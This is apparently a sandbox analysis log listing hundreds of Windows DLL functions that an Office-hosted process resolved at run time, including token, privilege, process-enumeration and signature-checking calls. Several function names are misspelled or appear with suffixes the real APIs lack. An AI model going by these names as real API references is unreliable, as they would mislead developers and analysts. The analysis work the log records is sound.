- DynamicLoader: USP10.DLL/ScriptPlace
- DynamicLoader: USP10.DLL/ScriptShape
- DynamicLoader: USP10.DLL/ScriptItemizeOpenType
- DynamicLoader: USP10.DLL/ScriptPlaceOpenType
- DynamicLoader: USP10.DLL/ScriptShapeOpenType
- DynamicLoader: USP10.DLL/ScriptJustify
- DynamicLoader: USP10.DLL/ScriptTextOut
- DynamicLoader: USP10.DLL/ScriptCPtoX
- DynamicLoader: USP10.DLL/ScriptXtoCP
- DynamicLoader: USP10.DLL/ScriptFreeCache
- DynamicLoader: USP10.DLL/ScriptCacheGetHeight
- DynamicLoader: USP10.DLL/ScriptGetCMap
- DynamicLoader: USP10.DLL/ScriptLayout
- DynamicLoader: USP10.DLL/ScriptBreak
- DynamicLoader: USP10.DLL/ScriptIsComplex
- DynamicLoader: USP10.DLL/ScriptGetFontFeatureTags
- DynamicLoader: USP10.DLL/ScriptGetFontScriptTags
- DynamicLoader: USP10.DLL/ScriptGetFontLanguageTags
- DynamicLoader: USP10.DLL/ScriptGetLogicalWidths
- DynamicLoader: USP10.DLL/ScriptApplyLogicalWidth
- DynamicLoader: USP10.DLL/ScriptGetGlyphABCWidth
- DynamicLoader: USP10.DLL/ScriptCacheGetHeight
- DynamicLoader: USP10.DLL/ScriptGetGlyphABCWidth
- DynamicLoader: USP10.DLL/ScriptGetFontProperties
- DynamicLoader: USP10.DLL/ScriptApplyDigitSubstitution
- DynamicLoader: USP10.DLL/ScriptRecordDigitSubstitution
- DynamicLoader: USP10.DLL/ScriptGetProperties
- DynamicLoader: USP10.DLL/ScriptGetFontAlternateGlyphs
- DynamicLoader: mso.dll/
- DynamicLoader: mso.dll/
- DynamicLoader: mso.dll/
- DynamicLoader: mso.dll/
- DynamicLoader: GdiPlus.dll/GdipGetRegionHRgn
- DynamicLoader: mso.dll/
- DynamicLoader: GdiPlus.dll/GdipGetDC
- DynamicLoader: mso.dll/
- DynamicLoader: GdiPlus.dll/GdipGetMatrixElements
- DynamicLoader: mso.dll/
- DynamicLoader: GDI32.dll/GdilsMetaPrintDC
- DynamicLoader: mso.dll/
- DynamicLoader: GdiPlus.dll/GdipReleaseDC
- DynamicLoader: mso.dll/
- DynamicLoader: mso.dll/
- DynamicLoader: GdiPlus.dll/GdipDeleteGraphics
- DynamicLoader: mso.dll/
- DynamicLoader: mso.dll/
- DynamicLoader: GdiPlus.dll/GdipDeleteBrush
- DynamicLoader: mso.dll/
- DynamicLoader: GdiPlus.dll/GdipDeletePath
- DynamicLoader: mso.dll/
- DynamicLoader: mso.dll/
- DynamicLoader: mso.dll/
- DynamicLoader: mso.dll/
- DynamicLoader: MSPTLS.DLL/



- DynamicLoader: MSPTLS.DLL/
- DynamicLoader: mso.dll/
- DynamicLoader: mso.dll/
- DynamicLoader: mso.dll/
- DynamicLoader: mso.dll/
- DynamicLoader: mso.dll/
- DynamicLoader: mso.dll/
- DynamicLoader: mso.dll/
- DynamicLoader: mso.dll/
- DynamicLoader: mso.dll/
- DynamicLoader: mso.dll/
- DynamicLoader: mso.dll/
- DynamicLoader: mso.dll/
- DynamicLoader: mso.dll/
- DynamicLoader: mso.dll/
- DynamicLoader: mso.dll/
- DynamicLoader: mso.dll/
- DynamicLoader: kernel32.dll/HeapSetInformation
- DynamicLoader: msproof7.dll/DllGetClassObject
- DynamicLoader: msproof7.dll/DllCanUnloadNow
- DynamicLoader: ADVAPI32.dll/EventWrite
- DynamicLoader: ADVAPI32.dll/EventRegister
- DynamicLoader: ADVAPI32.dll/EventUnregister
- DynamicLoader: mso.dll/
- DynamicLoader: mso.dll/
- DynamicLoader: mso.dll/
- DynamicLoader: mso.dll/
- DynamicLoader: mso.dll/
- DynamicLoader: ADVAPI32.dll/NotifyServiceStatusChangeW
- DynamicLoader: GdiPlus.dll/GdipLoadImageFromStreamICM
- DynamicLoader: WindowsCodecs.dll/DllGetClassObject
- DynamicLoader: kernel32.dll/WerRegisterMemoryBlock
- DynamicLoader: GdiPlus.dll/GdipGetImageRawFormat
- DynamicLoader: GdiPlus.dll/GdipGetImageFlags
- DynamicLoader: GdiPlus.dll/GdipGetImageWidth
- DynamicLoader: GdiPlus.dll/GdipGetImageHeight
- DynamicLoader: GdiPlus.dll/GdipGetImagePixelFormat
- DynamicLoader: GdiPlus.dll/GdipGetImageHorizontalResolution
- DynamicLoader: GdiPlus.dll/GdipGetImageVerticalResolution
- DynamicLoader: GdiPlus.dll/GdiplImageGetFrameCount
- DynamicLoader: GdiPlus.dll/GdipDisposeImage
- DynamicLoader: mso.dll/
- DynamicLoader: mso.dll/
- DynamicLoader: mso.dll/
- DynamicLoader: mso.dll/
- DynamicLoader: GdiPlus.dll/GdipStartPathFigure
- DynamicLoader: GdiPlus.dll/GdipAddPathLine2
- DynamicLoader: GdiPlus.dll/GdipClosePathFigure
- DynamicLoader: GdiPlus.dll/GdipCreateMatrix2
- DynamicLoader: GdiPlus.dll/GdipTransformPath
- DynamicLoader: GdiPlus.dll/GdipAddPathPolygon
- DynamicLoader: GdiPlus.dll/GdipGetPathWorldBounds
- DynamicLoader: GdiPlus.dll/GdipSetPenLineCap197819
- DynamicLoader: GdiPlus.dll/GdipSetPenLineJoin
- DynamicLoader: GdiPlus.dll/GdipSetPenMiterLimit
- DynamicLoader: GdiPlus.dll/GdipCreatePathIter
- DynamicLoader: GdiPlus.dll/GdipPathIterRewind
- DynamicLoader: GdiPlus.dll/GdipPathIterNextSubpath
- DynamicLoader: GdiPlus.dll/GdipPathIterCopyData
- DynamicLoader: GdiPlus.dll/GdipDeletePathIter
- DynamicLoader: GdiPlus.dll/GdipAddPathLine
- DynamicLoader: GdiPlus.dll/GdipClonePen



- DynamicLoader: mso.dll/
- DynamicLoader: mso.dll/
- DynamicLoader: VBE7.DLL/DIIVbeTerm
- DynamicLoader: ole32.dll/DllDebugObjectRPCHook
- DynamicLoader: ntdll.dll/EtwUnregisterTraceGuids
- DynamicLoader: VBE7.DLL/DllCanUnloadNow
- DynamicLoader: mso.dll/
- DynamicLoader: mso.dll/
- DynamicLoader: mso.dll/
- DynamicLoader: mso.dll/
- DynamicLoader: mso.dll/
- DynamicLoader: mso.dll/
- DynamicLoader: USER32.dll/UnregisterPowerSettingNotification
- DynamicLoader: POWRPROF.DLL/PowerSettingUnregisterNotification
- DynamicLoader: POWRPROF.DLL/PowerSettingUnregisterNotification
- DynamicLoader: POWRPROF.DLL/PowerSettingUnregisterNotification
- DynamicLoader: POWRPROF.DLL/PowerSettingUnregisterNotification
- DynamicLoader: POWRPROF.DLL/PowerSettingUnregisterNotification
- DynamicLoader: POWRPROF.DLL/PowerSettingUnregisterNotification
- DynamicLoader: CRYPTSP.dll/CryptGenKey
- DynamicLoader: CRYPTSP.dll/CryptImportKey
- DynamicLoader: CRYPTSP.dll/CryptDestroyKey
- DynamicLoader: CRYPTSP.dll/CryptSetHashParam
- DynamicLoader: CRYPTSP.dll/CryptHashData
- DynamicLoader: CRYPTSP.dll/CryptGetHashParam
- DynamicLoader: CRYPTSP.dll/CryptDestroyHash
- DynamicLoader: CRYPTSP.dll/CryptReleaseContext
- DynamicLoader: ADVAPI32.dll/EventUnregister
- DynamicLoader: dwmapi.dll/DwmIsCompositionEnabled
- DynamicLoader: dwmapi.dll/DwmGetColorizationColor
- DynamicLoader: kernel32.dll/GetProductInfo
- DynamicLoader: kernel32.dll/GetUserGeoID
- DynamicLoader: msi.dll/DllGetVersion
- DynamicLoader: GdiPlus.dll/GdipDeleteCachedBitmap
- DynamicLoader: mso.dll/
- DynamicLoader: mso.dll/
- DynamicLoader: ntdll.dll/EtwUnregisterTraceGuids
- DynamicLoader: ntdll.dll/EtwUnregisterTraceGuids
- DynamicLoader: ADVAPI32.dll/UnregisterTraceGuids
- DynamicLoader: Comctl32.dll/
- DynamicLoader: CRYPTSP.dll/CryptReleaseContext
- DynamicLoader: wbemcore.dll/Reinitialize
- DynamicLoader: wbemcore.dll/Reinitialize
- DynamicLoader: wbemcore.dll/Reinitialize
- DynamicLoader: sechost.dll/OpenSCManagerW
- DynamicLoader: sechost.dll/OpenServiceW
- DynamicLoader: sechost.dll/QueryServiceStatus
- DynamicLoader: RasApi32.dll/RasEnumConnectionsW
- DynamicLoader: RasApi32.dll/RasConnectionNotificationW
- DynamicLoader: WTSAPI32.dll/WTSQueryUserToken
- DynamicLoader: OLEAUT32.dll/
- DynamicLoader: wbemcore.dll/Reinitialize
- DynamicLoader: wbemcore.dll/Reinitialize
- DynamicLoader: wbemcore.dll/Reinitialize
- DynamicLoader: wbemcore.dll/Reinitialize
- DynamicLoader: wbemcore.dll/Reinitialize
- DynamicLoader: wbemcore.dll/Reinitialize
- DynamicLoader: kernel32.dll/SortGetHandle
- DynamicLoader: kernel32.dll/SortCloseHandle
- DynamicLoader: CRYPTBASE.dll/SystemFunction036
- DynamicLoader: ntmarta.dll/GetMartaExtensionInterface

- DynamicLoader: sechost.dll/LookupAccountNameLocalW
- DynamicLoader: ADVAPI32.dll/LookupAccountSidW
- DynamicLoader: sechost.dll/LookupAccountSidLocalW
- DynamicLoader: kernel32.dll/GetThreadPreferredUILanguages
- DynamicLoader: kernel32.dll/SetThreadPreferredUILanguages
- DynamicLoader: kernel32.dll/LocaleNameToLCID
- DynamicLoader: kernel32.dll/GetLocaleInfoEx
- DynamicLoader: kernel32.dll/LCIDToLocaleName
- DynamicLoader: kernel32.dll/GetSystemDefaultLocaleName
- DynamicLoader: FastProx.dll/DllGetClassObject
- DynamicLoader: FastProx.dll/DllCanUnloadNow
- DynamicLoader: kernel32.dll/RegOpenKeyExW
- DynamicLoader: kernel32.dll/RegQueryValueExW
- DynamicLoader: kernel32.dll/RegCloseKey
- DynamicLoader: sechost.dll/LookupAccountSidLocalW
- DynamicLoader: ADVAPI32.dll/EventRegister
- DynamicLoader: ADVAPI32.dll/EventUnregister
- DynamicLoader: ADVAPI32.dll/EventWrite
- DynamicLoader: ADVAPI32.dll/EventActivityIdControl
- DynamicLoader: ADVAPI32.dll/EventWriteTransfer
- DynamicLoader: ADVAPI32.dll/EventEnabled
- DynamicLoader: ADVAPI32.dll/RegOpenKeyW
- DynamicLoader: ADVAPI32.dll/LsaEnumerateTrustedDomains
- DynamicLoader: ADVAPI32.dll/LsaQueryInformationPolicy
- DynamicLoader: ADVAPI32.dll/LsaNtStatusToWinError
- DynamicLoader: ADVAPI32.dll/LsaFreeMemory
- DynamicLoader: ADVAPI32.dll/LsaOpenPolicy
- DynamicLoader: ADVAPI32.dll/LsaClose
- DynamicLoader: ADVAPI32.dll/QueryServiceStatusEx
- DynamicLoader: ADVAPI32.dll/DuplicateTokenEx
- DynamicLoader: ADVAPI32.dll/SetSecurityDescriptorControl
- DynamicLoader: ADVAPI32.dll/ConvertToAutoInheritPrivateObjectSecurity
- DynamicLoader: ADVAPI32.dll/DestroyPrivateObjectSecurity
- DynamicLoader: ADVAPI32.dll/CheckTokenMembership
- DynamicLoader: ADVAPI32.dll/AddAccessAllowedObjectAce
- DynamicLoader: ADVAPI32.dll/AddAccessDeniedObjectAce
- DynamicLoader: ADVAPI32.dll/AddAuditAccessObjectAce
- DynamicLoader: ADVAPI32.dll/SetNamedSecurityInfoW
- DynamicLoader: ADVAPI32.dll/GetNamedSecurityInfoW
- DynamicLoader: ADVAPI32.dll/SetNamedSecurityInfoExW
- DynamicLoader: ADVAPI32.dll/GetExplicitEntriesFromAclW
- DynamicLoader: ADVAPI32.dll/GetEffectiveRightsFromAclW
- DynamicLoader: OLEAUT32.dll/
- DynamicLoader: OLEAUT32.dll/
- DynamicLoader: OLEAUT32.dll/
- DynamicLoader: OLEAUT32.dll/
- DynamicLoader: ADVAPI32.dll/LookupAccountSidW
- DynamicLoader: userenv.dll/DestroyEnvironmentBlock
- DynamicLoader: userenv.dll/CreateEnvironmentBlock
- DynamicLoader: sechost.dll/ConvertSidToStringSidW
- DynamicLoader: SspiCli.dll/GetUserNameExW
- DynamicLoader: ole32.dll/StringFromCLSID
- DynamicLoader: ole32.dll/CoTaskMemFree
- DynamicLoader: OLEAUT32.dll/
- DynamicLoader: OLEAUT32.dll/
- DynamicLoader: ntdll.dll/EtwUnregisterTraceGuids
- DynamicLoader: ntdll.dll/EtwUnregisterTraceGuids
- DynamicLoader: CRYPTSP.dll/CryptReleaseContext
- DynamicLoader: kernel32.dll/SortGetHandle
- DynamicLoader: kernel32.dll/SortCloseHandle
- DynamicLoader: ADVAPI32.dll/RegOpenKeyExW
- DynamicLoader: ADVAPI32.dll/RegQueryInfoKeyW
- DynamicLoader: ADVAPI32.dll/RegEnumKeyExW



- DynamicLoader: ADVAPI32.dll/RegEnumValueW
- DynamicLoader: ADVAPI32.dll/RegCloseKey
- DynamicLoader: ADVAPI32.dll/RegQueryValueExW
- DynamicLoader: kernel32.dll/FIsAlloc
- DynamicLoader: kernel32.dll/FIsFree
- DynamicLoader: kernel32.dll/FIsGetValue
- DynamicLoader: kernel32.dll/FIsSetValue
- DynamicLoader: kernel32.dll/InitializeCriticalSectionEx
- DynamicLoader: kernel32.dll/CreateEventExW
- DynamicLoader: kernel32.dll/CreateSemaphoreExW
- DynamicLoader: kernel32.dll/SetThreadStackGuarantee
- DynamicLoader: kernel32.dll/CreateThreadpoolTimer
- DynamicLoader: kernel32.dll/SetThreadpoolTimer
- DynamicLoader: kernel32.dll/WaitForThreadpoolTimerCallbacks
- DynamicLoader: kernel32.dll/CloseThreadpoolTimer
- DynamicLoader: kernel32.dll/CreateThreadpoolWait
- DynamicLoader: kernel32.dll/SetThreadpoolWait
- DynamicLoader: kernel32.dll/CloseThreadpoolWait
- DynamicLoader: kernel32.dll/FlushProcessWriteBuffers
- DynamicLoader: kernel32.dll/FreeLibraryWhenCallbackReturns
- DynamicLoader: kernel32.dll/GetCurrentProcessorNumber
- DynamicLoader: kernel32.dll/GetLogicalProcessorInformation
- DynamicLoader: kernel32.dll/CreateSymbolicLinkW
- DynamicLoader: kernel32.dll/SetDefaultDllDirectories
- DynamicLoader: kernel32.dll/EnumSystemLocalesEx
- DynamicLoader: kernel32.dll/CompareStringEx
- DynamicLoader: kernel32.dll/GetDateFormatEx
- DynamicLoader: kernel32.dll/GetLocaleInfoEx
- DynamicLoader: kernel32.dll/GetTimeFormatEx
- DynamicLoader: kernel32.dll/GetUserDefaultLocaleName
- DynamicLoader: kernel32.dll/IsValidLocaleName
- DynamicLoader: kernel32.dll/LCMapStringEx
- DynamicLoader: kernel32.dll/GetCurrentPackageId
- DynamicLoader: kernel32.dll/GetTickCount64
- DynamicLoader: kernel32.dll/GetFileInformationByHandleExW
- DynamicLoader: kernel32.dll/SetFileInformationByHandleW
- DynamicLoader: ADVAPI32.dll/EventRegister
- DynamicLoader: ADVAPI32.dll/EventSetInformation
- DynamicLoader: mscoree.dll/
- DynamicLoader: ADVAPI32.dll/RegOpenKeyExW
- DynamicLoader: ADVAPI32.dll/RegQueryValueExW
- DynamicLoader: ADVAPI32.dll/RegCloseKey
- DynamicLoader: mscoreei.dll/RegisterShimImplCallback
- DynamicLoader: mscoreei.dll/RegisterShimImplCleanupCallback
- DynamicLoader: mscoreei.dll/SetShellShimInstance
- DynamicLoader: mscoreei.dll/OnShimDllMainCalled
- DynamicLoader: mscoreei.dll/CorBindToRuntimeEx_RetAddr
- DynamicLoader: mscoreei.dll/CorBindToRuntimeEx
- DynamicLoader: SHLWAPI.dll/UrIsW
- DynamicLoader: VERSION.dll/GetFileVersionInfoSizeW
- DynamicLoader: VERSION.dll/GetFileVersionInfoW
- DynamicLoader: VERSION.dll/VerQueryValueW
- DynamicLoader: kernel32.dll/FIsAlloc
- DynamicLoader: kernel32.dll/FIsFree
- DynamicLoader: kernel32.dll/FIsGetValue
- DynamicLoader: kernel32.dll/FIsSetValue
- DynamicLoader: kernel32.dll/InitializeCriticalSectionEx
- DynamicLoader: kernel32.dll/CreateEventExW
- DynamicLoader: kernel32.dll/CreateSemaphoreExW
- DynamicLoader: kernel32.dll/SetThreadStackGuarantee
- DynamicLoader: kernel32.dll/CreateThreadpoolTimer
- DynamicLoader: kernel32.dll/SetThreadpoolTimer
- DynamicLoader: kernel32.dll/WaitForThreadpoolTimerCallbacks



- DynamicLoader: kernel32.dll/CloseThreadpoolTimer
- DynamicLoader: kernel32.dll/CreateThreadpoolWait
- DynamicLoader: kernel32.dll/SetThreadpoolWait
- DynamicLoader: kernel32.dll/CloseThreadpoolWait
- DynamicLoader: kernel32.dll/FlushProcessWriteBuffers
- DynamicLoader: kernel32.dll/FreeLibraryWhenCallbackReturns
- DynamicLoader: kernel32.dll/GetCurrentProcessorNumber
- DynamicLoader: kernel32.dll/GetLogicalProcessorInformation
- DynamicLoader: kernel32.dll/CreateSymbolicLinkW
- DynamicLoader: kernel32.dll/SetDefaultDllDirectories
- DynamicLoader: kernel32.dll/EnumSystemLocalesEx
- DynamicLoader: kernel32.dll/CompareStringEx
- DynamicLoader: kernel32.dll/GetDateFormatEx
- DynamicLoader: kernel32.dll/GetLocaleInfoEx
- DynamicLoader: kernel32.dll/GetTimeFormatEx
- DynamicLoader: kernel32.dll/GetUserDefaultLocaleName
- DynamicLoader: kernel32.dll/IsValidLocaleName
- DynamicLoader: kernel32.dll/LCMapStringEx
- DynamicLoader: kernel32.dll/GetCurrentPackageId
- DynamicLoader: kernel32.dll/GetTickCount64
- DynamicLoader: kernel32.dll/GetFileInformationByHandleExW
- DynamicLoader: kernel32.dll/SetFileInformationByHandleW
- DynamicLoader: ADVAPI32.dll/EventSetInformation
- DynamicLoader: clr.dll/SetRuntimeInfo
- DynamicLoader: clr.dll/DllGetClassObjectInternal
- DynamicLoader: mscoree.dll/CreateConfigStream
- DynamicLoader: mscoree.dll/CreateConfigStream_RetAddr
- DynamicLoader: mscoree.dll/CreateConfigStream
- DynamicLoader: kernel32.dll/GetNumaHighestNodeNumber
- DynamicLoader: kernel32.dll/FIsSetValue
- DynamicLoader: kernel32.dll/FIsGetValue
- DynamicLoader: kernel32.dll/FIsAlloc
- DynamicLoader: kernel32.dll/FIsFree
- DynamicLoader: ntdll.dll/RtlVirtualUnwind
- DynamicLoader: kernel32.dll/GetSystemWindowsDirectoryW
- DynamicLoader: ADVAPI32.dll/AllocateAndInitializeSid
- DynamicLoader: ADVAPI32.dll/OpenProcessToken
- DynamicLoader: ADVAPI32.dll/GetTokenInformation
- DynamicLoader: ADVAPI32.dll/InitializeAcl
- DynamicLoader: ADVAPI32.dll/AddAccessAllowedAce
- DynamicLoader: ADVAPI32.dll/FreeSid
- DynamicLoader: ADVAPI32.dll/AllocateAndInitializeSid
- DynamicLoader: ADVAPI32.dll/OpenProcessToken
- DynamicLoader: ADVAPI32.dll/GetTokenInformation
- DynamicLoader: ADVAPI32.dll/InitializeAcl
- DynamicLoader: ADVAPI32.dll/AddAccessAllowedAce
- DynamicLoader: ADVAPI32.dll/FreeSid
- DynamicLoader: kernel32.dll/AddSIDToBoundaryDescriptor
- DynamicLoader: kernel32.dll/CreateBoundaryDescriptorW
- DynamicLoader: kernel32.dll/CreatePrivateNamespaceW
- DynamicLoader: kernel32.dll/OpenPrivateNamespaceW
- DynamicLoader: ADVAPI32.dll/AllocateAndInitializeSid
- DynamicLoader: ADVAPI32.dll/OpenProcessToken
- DynamicLoader: ADVAPI32.dll/GetTokenInformation
- DynamicLoader: ADVAPI32.dll/InitializeAcl
- DynamicLoader: ADVAPI32.dll/AddAccessAllowedAce
- DynamicLoader: ADVAPI32.dll/FreeSid
- DynamicLoader: kernel32.dll/DeleteBoundaryDescriptor
- DynamicLoader: kernel32.dll/WerRegisterRuntimeExceptionModule
- DynamicLoader: kernel32.dll/RaiseException
- DynamicLoader: mscoree.dll/
- DynamicLoader: mscoree.dll/
- DynamicLoader: kernel32.dll/AddDllDirectory



- DynamicLoader: ole32.dll/CoInitializeEx
- DynamicLoader: CRYPTBASE.dll/SystemFunction036
- DynamicLoader: mscoree.dll/GetProcessExecutableHeap
- DynamicLoader: mscoreei.dll/GetProcessExecutableHeap_RetAddr
- DynamicLoader: mscoreei.dll/GetProcessExecutableHeap
- DynamicLoader: ole32.dll/CoGetContextToken
- DynamicLoader: KERNELBASE.dll/SetSystemFileCacheSize
- DynamicLoader: ntdll.dll/NtSetSystemInformation
- DynamicLoader: KERNELBASE.dll/PrivIsDllSynchronizationHeld
- DynamicLoader: OLEAUT32.dll/SysStringByteLen
- DynamicLoader: kernel32.dll/GetLocaleInfoEx
- DynamicLoader: kernel32.dll/LocaleNameToLCID
- DynamicLoader: CRYPTSP.dll/CryptImportKey
- DynamicLoader: CRYPTSP.dll/CryptHashData
- DynamicLoader: CRYPTSP.dll/CryptGetHashParam
- DynamicLoader: CRYPTSP.dll/CryptDestroyHash
- DynamicLoader: CRYPTSP.dll/CryptDestroyKey
- DynamicLoader: OLEAUT32.dll/
- DynamicLoader: OLEAUT32.dll/
- DynamicLoader: ADVAPI32.dll/RegCloseKey
- DynamicLoader: kernel32.dll/GetUserDefaultLocaleName
- DynamicLoader: kernel32.dll/LCIDToLocaleName
- DynamicLoader: kernel32.dll/GetUserPreferredUILanguages
- DynamicLoader: kernel32.dll/GetThreadPreferredUILanguages
- DynamicLoader: nlssorting.dll/SortGetHandle
- DynamicLoader: nlssorting.dll/SortCloseHandle
- DynamicLoader: ADVAPI32.dll/RegOpenKeyEx
- DynamicLoader: ADVAPI32.dll/RegOpenKeyExW
- DynamicLoader: clrjit.dll/sxsJitStartup
- DynamicLoader: clrjit.dll/getJit
- DynamicLoader: ADVAPI32.dll/EventRegister
- DynamicLoader: ADVAPI32.dll/EventSetInformation
- DynamicLoader: kernel32.dll/CompareStringOrdinal
- DynamicLoader: kernel32.dll/GetFullPathName
- DynamicLoader: kernel32.dll/GetFullPathNameW
- DynamicLoader: kernel32.dll/SetThreadErrorMode
- DynamicLoader: kernel32.dll/GetFileAttributesEx
- DynamicLoader: kernel32.dll/GetFileAttributesExW
- DynamicLoader: clr.dll/CreateAssemblyNameObject
- DynamicLoader: clr.dll/CreateAssemblyNameObjectW
- DynamicLoader: ole32.dll/CoGetObjectContext
- DynamicLoader: sechost.dll/LookupAccountNameLocalW
- DynamicLoader: ADVAPI32.dll/LookupAccountSidW
- DynamicLoader: sechost.dll/LookupAccountSidLocalW
- DynamicLoader: CRYPTSP.dll/CryptAcquireContextW
- DynamicLoader: CRYPTSP.dll/CryptGenRandom
- DynamicLoader: ole32.dll/NdrOleInitializeExtension
- DynamicLoader: ole32.dll/CoGetClassObject
- DynamicLoader: ole32.dll/CoGetMarshalSizeMax
- DynamicLoader: ole32.dll/CoMarshalInterface
- DynamicLoader: ole32.dll/CoUnmarshalInterface
- DynamicLoader: ole32.dll/StringFromIID
- DynamicLoader: ole32.dll/CoGetPSClsid
- DynamicLoader: ole32.dll/CoTaskMemAlloc
- DynamicLoader: ole32.dll/CoTaskMemFree
- DynamicLoader: ole32.dll/CoCreateInstance
- DynamicLoader: ole32.dll/CoReleaseMarshalData
- DynamicLoader: ole32.dll/DcomChannelSetHResult
- DynamicLoader: RpcRtRemote.dll/I_RpcExtInitializeExtensionPoint
- DynamicLoader: clr.dll/CreateAssemblyEnum
- DynamicLoader: clr.dll/CreateAssemblyEnumW
- DynamicLoader: kernel32.dll/ResolveLocaleName
- DynamicLoader: ntdll.dll/NtQueryInformationThread



- DynamicLoader: ntdll.dll/NtQuerySystemInformation
- DynamicLoader: kernel32.dll/CreateWaitableTimerExW
- DynamicLoader: kernel32.dll/SetWaitableTimerEx
- DynamicLoader: ole32.dll/CoUninitialize
- DynamicLoader: ADVAPI32.dll/EventActivityIdControl
- DynamicLoader: ADVAPI32.dll/EventActivityIdControl
- DynamicLoader: ADVAPI32.dll/EventRegister
- DynamicLoader: VERSION.dll/GetFileVersionInfoSize
- DynamicLoader: VERSION.dll/GetFileVersionInfoSizeW
- DynamicLoader: VERSION.dll/GetFileVersionInfo
- DynamicLoader: VERSION.dll/GetFileVersionInfoW
- DynamicLoader: VERSION.dll/VerQueryValue
- DynamicLoader: VERSION.dll/VerQueryValueW
- DynamicLoader: kernel32.dll/LCMapStringEx
- DynamicLoader: VERSION.dll/VerLanguageName
- DynamicLoader: VERSION.dll/VerLanguageNameW
- DynamicLoader: kernel32.dll/GetCurrentProcessId
- DynamicLoader: kernel32.dll/GetCurrentProcessIdW
- DynamicLoader: ADVAPI32.dll/RegQueryValueEx
- DynamicLoader: ADVAPI32.dll/RegQueryValueExW
- DynamicLoader: ADVAPI32.dll/RegQueryValueEx
- DynamicLoader: ADVAPI32.dll/RegQueryValueExW
- DynamicLoader: ADVAPI32.dll/LookupPrivilegeValue
- DynamicLoader: ADVAPI32.dll/LookupPrivilegeValueW
- DynamicLoader: kernel32.dll/GetCurrentProcess
- DynamicLoader: ADVAPI32.dll/OpenProcessToken
- DynamicLoader: ADVAPI32.dll/OpenProcessTokenW
- DynamicLoader: ADVAPI32.dll/AdjustTokenPrivileges
- DynamicLoader: ADVAPI32.dll/AdjustTokenPrivilegesW
- DynamicLoader: kernel32.dll/CloseHandle
- DynamicLoader: kernel32.dll/OpenProcess
- DynamicLoader: kernel32.dll/OpenProcessW
- DynamicLoader: ADVAPI32.dll/EventWriteTransfer
- DynamicLoader: psapi.dll/EnumProcessModules
- DynamicLoader: psapi.dll/EnumProcessModulesW
- DynamicLoader: psapi.dll/GetModuleInformation
- DynamicLoader: psapi.dll/GetModuleInformationW
- DynamicLoader: psapi.dll/GetModuleBaseName
- DynamicLoader: psapi.dll/GetModuleBaseNameW
- DynamicLoader: ole32.dll/CoTaskMemAlloc
- DynamicLoader: ole32.dll/CoTaskMemFree
- DynamicLoader: psapi.dll/GetModuleFileNameEx
- DynamicLoader: psapi.dll/GetModuleFileNameExW
- DynamicLoader: kernel32.dll/GetExitCodeProcess
- DynamicLoader: kernel32.dll/GetExitCodeProcessW
- DynamicLoader: shell32.dll/SHGetFolderPath
- DynamicLoader: shell32.dll/SHGetFolderPathW
- DynamicLoader: kernel32.dll/CreateFile
- DynamicLoader: kernel32.dll/CreateFileW
- DynamicLoader: kernel32.dll/CloseHandle
- DynamicLoader: kernel32.dll/GetFileType
- DynamicLoader: wintrust.dll/WTGetSignatureInfo
- DynamicLoader: wintrust.dll/WTGetSignatureInfoA
- DynamicLoader: USER32.dll/EnumWindows
- DynamicLoader: USER32.dll/EnumWindowsW
- DynamicLoader: ole32.dll/CoTaskMemAlloc
- DynamicLoader: wintrust.dll/WinVerifyTrust
- DynamicLoader: wintrust.dll/WinVerifyTrustW
- DynamicLoader: wintrust.dll/WintrustCertificateTrust
- DynamicLoader: wintrust.dll/SoftpubAuthenticate
- DynamicLoader: wintrust.dll/SoftpubInitialize
- DynamicLoader: wintrust.dll/SoftpubLoadMessage
- DynamicLoader: wintrust.dll/SoftpubLoadSignature



- DynamicLoader: wintrust.dll/SoftpubCheckCert
- DynamicLoader: wintrust.dll/SoftpubCleanup
- DynamicLoader: CRYPTSP.dll/CryptAcquireContextA
- DynamicLoader: MSISIP.DLL/DllCanUnloadNow
- DynamicLoader: MSISIP.DLL/MsiSIPsMyTypeOfFile
- DynamicLoader: ole32.dll/ColInitialize
- DynamicLoader: ole32.dll/StgOpenStorage
- DynamicLoader: USER32.dll/GetWindowThreadProcessId
- DynamicLoader: USER32.dll/GetWindowThreadProcessIdW
- DynamicLoader: USER32.dll/GetWindow
- DynamicLoader: USER32.dll/IsWindowVisible
- DynamicLoader: USER32.dll/IsWindowVisibleW
- DynamicLoader: ntdll.dll/NtQuerySystemInformation
- DynamicLoader: ntdll.dll/NtQuerySystemInformationW
- DynamicLoader: wshext.dll/DllCanUnloadNow
- DynamicLoader: wshext.dll/IsFileSupportedName
- DynamicLoader: kernel32.dll/WerSetFlags
- DynamicLoader: wshext.dll/IsFileSupportedName
- DynamicLoader: pwrshsip.dll/DllCanUnloadNow
- DynamicLoader: pwrshsip.dll/PsIsMyFileType
- DynamicLoader: kernel32.dll/SetThreadPreferredUILanguages
- DynamicLoader: kernel32.dll/SetThreadPreferredUILanguagesW
- DynamicLoader: kernel32.dll/GetThreadPreferredUILanguages
- DynamicLoader: kernel32.dll/GetThreadPreferredUILanguagesW
- DynamicLoader: kernel32.dll/GetUserDefaultLocaleName
- DynamicLoader: kernel32.dll/GetUserDefaultLocaleNameW
- DynamicLoader: pwrshsip.dll/PsPutSignature
- DynamicLoader: pwrshsip.dll/PsGetSignature
- DynamicLoader: VERSION.dll/GetFileVersionInfoSizeW
- DynamicLoader: VERSION.dll/GetFileVersionInfoW
- DynamicLoader: VERSION.dll/VerQueryValueW
- DynamicLoader: kernel32.dll/GetEnvironmentVariable
- DynamicLoader: kernel32.dll/GetEnvironmentVariableW
- DynamicLoader: wintrust.dll/WTHelperProvDataFromStateData
- DynamicLoader: wintrust.dll/WTHelperProvDataFromStateDataW
- DynamicLoader: wintrust.dll/WTHelperGetProvSignerFromChain
- DynamicLoader: wintrust.dll/WTHelperGetProvSignerFromChainW
- DynamicLoader: CRYPTSP.dll/CryptReleaseContext
- DynamicLoader: ole32.dll/CoTaskMemFree
- DynamicLoader: ole32.dll/CoCreateGuid
- DynamicLoader: kernel32.dll/GetConsoleCP
- DynamicLoader: kernel32.dll/GetConsoleCPW
- DynamicLoader: kernel32.dll/CreateFile
- DynamicLoader: kernel32.dll/CreateFileW
- DynamicLoader: kernel32.dll/GetCurrentConsoleFontEx
- DynamicLoader: kernel32.dll/GetCurrentConsoleFontExW
- DynamicLoader: kernel32.dll/CreateDirectory
- DynamicLoader: kernel32.dll/CreateDirectoryW
- DynamicLoader: kernel32.dll/GetConsoleScreenBufferInfo
- DynamicLoader: kernel32.dll/GetConsoleScreenBufferInfoW
- DynamicLoader: kernel32.dll/GetConsoleMode
